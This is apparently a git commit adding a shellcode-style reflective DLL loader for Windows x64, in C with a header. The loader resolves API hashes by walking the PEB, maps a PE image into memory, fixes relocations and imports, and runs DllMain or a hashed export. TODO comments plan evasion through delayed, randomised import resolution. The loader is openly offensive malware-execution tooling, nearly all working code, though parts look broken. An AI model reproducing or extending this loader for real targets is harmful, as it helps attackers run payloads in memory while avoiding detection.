loader base without obfuscations
This commit is contained in:
17ms
parent
7d23b1d1e1
commit
e3918bae17
398
reflective-loader/loader.c
Normal file
398
reflective-loader/loader.c
Normal file
@ -0,0 +1,398 @@
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#include "loader.h"
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#include <windows.h>
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#include <winternl.h>
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void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, PVOID pvShellcodeBase, DWORD dwFlags)
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{
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if (!pImage)
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{
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return;
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}
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/*
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1.) Locate the required functions and modules from exports with their hashed names
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*/
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HMODULE hKernel32 = GetModuleAddrFromHash(KERNEL32_DLL_HASH);
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if (!hKernel32)
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{
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return;
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}
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FARPROC pLoadLibraryA = GetExportAddrFromHash(hKernel32, LOAD_LIBRARY_A_HASH);
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FARPROC pGetProcAddress = GetExportAddrFromHash(hKernel32, GET_PROC_ADDRESS_HASH);
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FARPROC pVirtualAlloc = GetExportAddrFromHash(hKernel32, VIRTUAL_ALLOC_HASH);
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FARPROC pFlushInstructionCache = GetExportAddrFromHash(hKernel32, FLUSH_INSTRUCTION_CACHE_HASH);
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FARPROC pVirtualProtect = GetExportAddrFromHash(hKernel32, VIRTUAL_PROTECT_HASH);
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FARPROC pSleep = GetExportAddrFromHash(hKernel32, SLEEP_HASH);
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if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pFlushInstructionCache || !pVirtualProtect || !pSleep)
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{
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return;
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}
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/*
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2.) Load the target image to a newly allocated permanent memory location with RW permissions
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- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
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*/
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PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders(pImage);
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if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
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{
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return;
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}
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if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
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{
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return;
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}
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if (pNtHeaders->OptionalHeader.SectionAlignment & 1)
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{
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return;
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}
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DWORD dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
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ULONGLONG ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
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// Try to allocate the image to the preferred base address
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PBYTE pNewImageBase = (PBYTE)pVirtualAlloc((LPVOID)ullPreferredImageBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
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if (!pNewImageBase)
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{
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// Allocate to a random address if the preferred base address is already occupied
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pNewImageBase = (PBYTE)pVirtualAlloc(NULL, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
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}
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CopySections(pNewImageBase, pImage, pNtHeaders);
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memcpy(pNewImageBase, pImage, pNtHeaders->OptionalHeader.SizeOfHeaders);
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/*
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3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
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*/
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ULONG_PTR ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
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PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
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if (!ProcessRelocations(pNewImageBase, pDataDirectory, ulpDelta))
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{
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return;
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}
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/*
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4.) Resolve the imports by patching the Import Address Table (IAT)
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*/
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if (!PatchImportAddressTable(pNewImageBase, pDataDirectory, pGetProcAddress))
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{
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return;
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}
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/*
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5.) Finalize the sections by setting protective permissions after mapping the image
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*/
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FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
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/*
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6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
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*/
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if (dwFlags == 0)
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{
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// Execute DllMain with DLL_PROCESS_ATTACH
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DLLMAIN pDllMain = (DLLMAIN)(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
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pDllMain((HINSTANCE)pNewImageBase, DLL_PROCESS_ATTACH, NULL);
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}
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else
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{
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// Execute user defined function
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FARPROC pFunction = GetExportAddrFromHash((HMODULE)pNewImageBase, dwFunctionHash);
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pFunction(pvUserData, dwUserDataLen);
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}
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}
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void FinalizeRelocations(PBYTE pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, FARPROC pVirtualProtect, FARPROC pFlushInstructionCache)
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{
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PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
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for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
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{
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DWORD dwOldProtect;
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DWORD dwNewProtect;
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// Definitions for readability
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DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
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DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
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DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
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if (!dwIsExecutable && !dwIsReadable && !dwIsWritable)
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{
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dwNewProtect = PAGE_NOACCESS;
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}
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if (dwIsWritable)
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{
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dwNewProtect = PAGE_WRITECOPY;
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}
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if (dwIsReadable)
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{
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dwNewProtect = PAGE_READONLY;
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}
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if (dwIsWritable && dwIsReadable)
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{
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dwNewProtect = PAGE_READWRITE;
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}
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if (dwIsExecutable)
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{
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dwNewProtect = PAGE_EXECUTE;
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}
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if (dwIsExecutable && dwIsWritable)
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{
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dwNewProtect = PAGE_EXECUTE_WRITECOPY;
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}
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if (dwIsExecutable && dwIsReadable)
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{
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dwNewProtect = PAGE_EXECUTE_READ;
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}
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if (dwIsExecutable && dwIsWritable && dwIsReadable)
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{
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dwNewProtect = PAGE_EXECUTE_READWRITE;
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}
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pVirtualProtect(pNewImageBase + pSectionHeader->VirtualAddress, pSectionHeader->SizeOfRawData, dwNewProtect, &dwOldProtect);
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}
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pFlushInstructionCache(-1, NULL, 0);
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}
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BOOL PatchImportAddressTable(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, FARPROC pGetProcAddress)
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{
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PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
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if (!pImportDescriptor)
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{
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return FALSE;
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}
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/*
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TODO: obfuscate the import resolution by delaying the resolution of imports
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-> implementation stolen from https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c#L391
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1. read the IMAGE_IMPORT_DESCRIPTOR structure from the IAT
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2. calculate randomized order based on the number of imports
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*/
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// DWORD dwImportCount = 0;
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while (pImportDescriptor->Name)
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{
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HMODULE hModule = pLoadLibraryA((LPCSTR)(pNewImageBase + pImportDescriptor->Name));
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if (!hModule)
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{
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return FALSE;
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}
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PIMAGE_THUNK_DATA64 pThunkData = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
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PIMAGE_THUNK_DATA64 pThunkDataIat = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->FirstThunk);
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while (pThunkData->u1.Function)
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{
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if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
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{
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// High bits masked out to get the ordinal number
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pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF));
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}
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else
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{
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// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
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PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pNewImageBase + pThunkData->u1.AddressOfData);
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pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)pImportByName->Name);
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}
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pThunkData++;
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pThunkDataIat++;
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}
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pImportDescriptor++;
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}
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return TRUE;
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}
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BOOL ProcessRelocations(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta)
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{
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PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)(pNewImageBase + pDataDirectory->VirtualAddress);
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if (pRelocation == NULL || pDataDirectory->Size == 0)
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{
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return FALSE;
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}
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// Upper bound to prevent accessing memory part the end of the relocation data
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DWORD dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
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PIMAGE_RELOC pRelocationList;
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while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock)
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{
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pRelocationList = (PIMAGE_RELOC)(pRelocation + 1);
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while ((PBYTE)pRelocationList < (PBYTE)pRelocation + pRelocation->SizeOfBlock)
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{
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switch (pRelocationList->type)
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{
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case IMAGE_REL_BASED_DIR64:
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// Apply the difference to the 64-bit field at offset
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*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += ulpDelta;
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break;
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case IMAGE_REL_BASED_HIGHLOW:
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// Base relocation applies all 32 bits of the difference tothe 32-bit field at offset
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*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += (DWORD)ulpDelta;
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break;
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case IMAGE_REL_BASED_HIGH:
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// Base relocation adds the high 16 bits of the difference to the 16-bit field at offset
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*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += HIWORD(ulpDelta);
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break;
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case IMAGE_REL_BASED_LOW:
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// Base relocation adds the low 16 bits of the difference to the 16-bit field at offset
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*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += LOWORD(ulpDelta);
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break;
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default:
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break;
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}
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pRelocationList++;
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}
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pRelocation = (PIMAGE_BASE_RELOCATION)pRelocationList;
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}
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return TRUE;
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}
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void CopySections(PBYTE pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders)
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{
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PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
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PBYTE pSectionBase, pSectionData;
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for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
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{
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pSectionBase = pNewImageBase + pSectionHeader->VirtualAddress;
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pSectionData = pImage + pSectionHeader->PointerToRawData;
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memcpy(pSectionBase, pSectionData, pSectionHeader->SizeOfRawData);
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}
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}
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HMODULE GetModuleAddrFromHash(DWORD dwHash)
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{
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#if defined(_WIN64)
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PPEB pPeb = (PPEB)__readgsqword(0x60);
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#else
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PPEB pPeb = (PPEB)__readfsdword(0x30);
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#endif
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PMY_PEB_LDR_DATA pLdr = pPeb->Ldr;
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PMY_LDR_DATA_TABLE_ENTRY pEntry = pLdr->InLoadOrderModuleList.Flink;
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DWORD dwModuleHash;
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UNICODE_STRING strBaseDllName;
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while (pEntry->DllBase != NULL)
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{
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strBaseDllName = pEntry->BaseDllName;
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dwModuleHash = CalculateHash(&strBaseDllName);
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if (dwModuleHash == dwHash)
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{
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return pEntry->DllBase;
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}
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pEntry = pEntry->InLoadOrderLinks.Flink;
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}
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return NULL;
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}
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FARPROC GetExportAddrFromHash(HMODULE hModule, DWORD dwHash)
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{
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PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders((PBYTE)hModule);
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if (pNtHeaders == NULL)
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{
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return NULL;
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}
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IMAGE_DATA_DIRECTORY *pExportDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
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IMAGE_EXPORT_DIRECTORY *pExportDirectoryData = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)hModule + pExportDirectory->VirtualAddress);
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DWORD dwNameRva, dwNameHash, dwFuncRva;
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WORD wOrdinal;
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UNICODE_STRING *strBaseDllName;
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for (size_t i = 0; i < pExportDirectoryData->NumberOfNames; i++)
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{
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dwNameRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNames))[i];
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strBaseDllName = (UNICODE_STRING *)((PBYTE)hModule + dwNameRva);
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dwNameHash = CalculateHash(strBaseDllName);
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if (dwNameHash == dwHash)
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{
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wOrdinal = ((WORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNameOrdinals))[i];
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dwFuncRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfFunctions))[wOrdinal];
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return (FARPROC)((PBYTE)hModule + dwFuncRva);
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}
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}
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}
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PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pImage)
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{
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IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pImage;
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if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
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{
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return NULL;
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}
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PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(pImage + pDosHeader->e_lfanew);
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if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
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{
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return NULL;
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}
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return pNtHeaders;
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}
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DWORD CalculateHash(UNICODE_STRING *baseDllName)
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{
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DWORD dwHash = HASH_KEY;
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PWSTR pwszBaseDllName = baseDllName->Buffer;
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char ch;
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for (size_t i = 0; i < baseDllName->MaximumLength; i++)
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{
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ch = (char)pwszBaseDllName[i];
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if (ch == '\0')
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{
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continue;
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}
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if (ch >= 'a' && ch <= 'z')
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{
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ch -= 0x20;
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}
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dwHash = ((dwHash << 5) + dwHash) + (DWORD)ch;
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}
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return dwHash;
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}
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55
reflective-loader/loader.h
Normal file
55
reflective-loader/loader.h
Normal file
@ -0,0 +1,55 @@
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#pragma once
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#include <windows.h>
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#include <subauth.h>
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#define IMPORT_DELAY 6 * 1000 * 1000
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#define HASH_KEY 5381
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#define KERNEL32_DLL_HASH 0x6DDB9555
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// #define NTDLL_DLL_HASH 0x1EDAB0ED
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#define LOAD_LIBRARY_A_HASH 0xB7072FDB // TODO: change to LoadLibraryW
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#define GET_PROC_ADDRESS_HASH 0xDECFC1BF
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#define VIRTUAL_ALLOC_HASH 0x097BC257
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#define FLUSH_INSTRUCTION_CACHE_HASH 0xEFB7BF9D
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#define VIRTUAL_PROTECT_HASH 0xE857500D
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#define SLEEP_HASH 0x0E07CD7E
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typedef BOOL(WINAPI *DLLMAIN)(HMODULE, DWORD, LPVOID);
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typedef struct _MY_PEB_LDR_DATA
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{
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ULONG Length;
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BOOL Initialized;
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PVOID SsHandle;
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LIST_ENTRY InLoadOrderModuleList;
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LIST_ENTRY InMemoryOrderModuleList;
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LIST_ENTRY InInitializationOrderModuleList;
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} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
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typedef struct _MY_LDR_DATA_TABLE_ENTRY
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{
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LIST_ENTRY InLoadOrderLinks;
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LIST_ENTRY InMemoryOrderLinks;
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LIST_ENTRY InInitializationOrderLinks;
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PVOID DllBase;
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PVOID EntryPoint;
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ULONG SizeOfImage;
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UNICODE_STRING FullDllName;
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UNICODE_STRING BaseDllName;
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} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
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typedef struct
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{
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WORD offset : 12;
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WORD type : 4;
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} IMAGE_RELOC, *PIMAGE_RELOC;
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DWORD CalculateHash(UNICODE_STRING *BaseDllName);
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HMODULE GetModuleAddrFromHash(DWORD dwHash);
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FARPROC GetExportAddrFromHash(HMODULE hModule, DWORD dwHash);
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void CopySections(PBYTE pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders);
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BOOL ProcessRelocations(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
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BOOL PatchImportAddressTable(PBYTE pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, FARPROC pGetProcAddress);
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void FinalizeRelocations(PBYTE pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, FARPROC pVirtualProtect, FARPROC pFlushInstructionCache);
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